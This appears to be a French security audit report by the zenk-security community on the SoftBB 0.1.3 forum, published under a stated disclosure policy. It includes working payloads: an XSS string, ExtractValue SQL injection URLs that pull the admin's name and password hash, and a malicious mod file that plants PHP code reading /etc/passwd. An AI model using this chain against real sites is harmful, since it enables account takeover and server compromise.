



Sommaire

1 Qui sommes nous ?.....	1
2 Nos audits de sécurité.....	2
3 Notre choix.....	2
4 Les participants.....	2
5 Compte rendu de l'audit.....	3

1 Qui sommes nous ?

La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des touches à tout, des fouineurs, nous expérimentons à tout va et nous partageons sans autre restriction que le respect.

Notre site répertorie nos tutos, articles informatifs et autres textes techniques ou non, c'est le côté partage de notre communauté.

Pourtant, et vous vous en rendez vite compte, nous cultivons la discrétion et la qualité, le principal contenu de notre forum n'est accessible qu'aux membres de notre communauté.

La raison est simple : certains savoirs ne sont pas à placer entre toutes les mains.

Quid des acharnés d'une utopie du partage alors?

Notre position est ambiguë nous devons l'admettre, nous prôtons le partage des connaissances sans restriction, c'est la pierre angulaire de la communauté, mais nous ne sommes pas aveugles au point de penser que tous ont l'intelligence ou la maturité nécessaire à l'utilisation judicieuse d'un savoir qui par définition est neutre.

Fort du constat que la connotation du savoir dépend avant tout de la moralité et de la franchise envers lui même de l'utilisateur, nous préférons réserver ce savoir pour ceux qui sont aptes à l'utiliser pour le bien commun.

Arbitraire, certes, mais avez vous mieux à proposer?

Le savoir est une arme autant que les mots ou l'acier et nous ne sommes pas une armurerie.

La communauté n'est pas considérée par ses membres comme un énième lieu de leech à tout va, nous partageons réellement et notre credo, notre dogme, c'est d'apporter ce que nous pouvons, dans la mesure de nos moyens et de nous élever grâce aux contributions des autres membres.

Du partage naît l'apprentissage et de l'apprentissage naît le partage, nous ne cherchons pas à savoir qui de l'un a engendré l'autre en premier, nous nous contentons d'entretenir la boucle ainsi formée et de progresser en nous aidant les uns les autres, simplement.



2 Nos audits de sécurité

Au sein de la communauté nous utilisons le nom de Zenk Roulette, le principe est simple nous choisissons une application open source que nous installons sur nos serveurs, à partir de là nous commençons un audit de sécurité sur l'application choisie.

Cet audit est fait exclusivement pour le fun, c'est un plaisir avant tout et il reste entièrement privé.

Les audits sont fait par des professionnelles et des passionnés du monde de la sécurité informatique.

Suite à cet audit nous fournissons un rapport aux "propriétaires" de l'application lui fournissant quelques conseils, ensuite nous attendons sa réponse par mail et l'application de correctif sous une période correcte avant de rendre publique notre rapport.

Généralement si au bout d'un mois nous n'avons pas de réponse des propriétaires nous rendons publique le rapport, dans le cas contraire nous nous arrangeons avec les propriétaires pour le rendre publique une fois les vulnérabilités corrigées.

Bien sur nous restons disponible pour toute question.

3 Notre choix

Application auditée : SoftBB 0.1.3

Description : Il s'agit d'un forum très léger.

URL : <http://www.softbb.net>

Date : dimanche 16 août 2010

4 Les participants

asus

bik3te



5 Compte rendu de l'audit

De nombreux défauts de sécurité ont été identifiés. Certains sont exploitables en tant que simple visiteur (enregistré ou non) du site et d'autres ne sont accessibles qu'à une personne ayant les droits d'administrateur.

- **Full Path Disclosure:**

`http://localhost/softbb/index.php?page[]=reg`

- Les mots de passes sont stockés dans la base de données sous la forme de simples hash md5.
- Une XSS Persistante dans les champs de modifications de style :
`http://localhost/softbb/admin/index.php?page=gest_opt_mod ”`
`onmouseover='javascript:alert(1337)' foo=""`
- De nombreuses SQLi (sh4ka, SIG) :

`redir_last_post_list.php` - ligne 12 et 16
`addmembre.php` - lignes 47 et 51
`moveto.php` - ligne 156
`post.php`, `delgroupe.php`, `delpost.php`, `delforum.php`

- Possibilité d'uploader un fichier php sur le serveur par le biais de l'interface de gestion des mods (bik3te).

Solution retenue :

- Afin d'obtenir un Shell sur le serveur hébergeant un forum SoftBB, la solution la plus aisée est la suivante.
- Exploitation d'une SQLi accessible en tant que simple utilisateur afin d'obtenir :

Le nom de l'administrateur

```
http://localhost/softbb/redir_last_post_list.php?post=1 AND  
(ExtractValue(1,CONCAT(0x5c,(SELECT(pseudo)FROM(softbb_membres)WHERE id=1))))
```

Les 31 premiers caractères du hash du mot de passe de l'administrateur

```
http://localhost/softbb/redir_last_post_list.php?post=1 AND  
(ExtractValue(1,CONCAT(0x5c,(SELECT(mdp)FROM(softbb_membres)WHERE id=1))))
```

Le 32ème caractère du hash du mot de passe de l'administrateur

```
http://localhost/softbb/redir_last_post_list.php?post=1 AND  
(ExtractValue(1,CONCAT(0x5c,(SELECT(SUBSTR(mdp,32,32))FROM(softbb_membres)WHERE id=1))))
```



- Interrogation de Sorcier_FXK (ou de John) à propos du mot de passe en clair.
- Connexion à l'interface d'administration du site.
- Exploitation de la faille d'upload dans l'interface de gestion des mods :
- Créer un fichier exploit.sbbmod (bik3te) contenant :

```
##### I N F O S #####  
##### NOM du mod : exploit  
##### AUTEUR : Zenk-Security  
##### DESCRIPTION : Exploitation de la faille d'upload  
##### DEPENDANCE1 :  
##### DEPENDANCE2 :  
##### VERSION : 1  
##### E X E C U T I O N #####  
##### DEBUT ETAPE 1 #####  
    ##=> AJOUTER FICHER:  
<?php system("cat /etc/passwd"); ?>  
    ##=> NOM:  
admin/exploit.php  
##### FIN ETAPE 1 #####
```

- Interface de gestion des mods sur http://localhost/softbb/admin/index.php?page=mods_index
- Uploader le fichier exploit.sbbmod et aller sur <http://localhost/softbb/admin/exploit.php>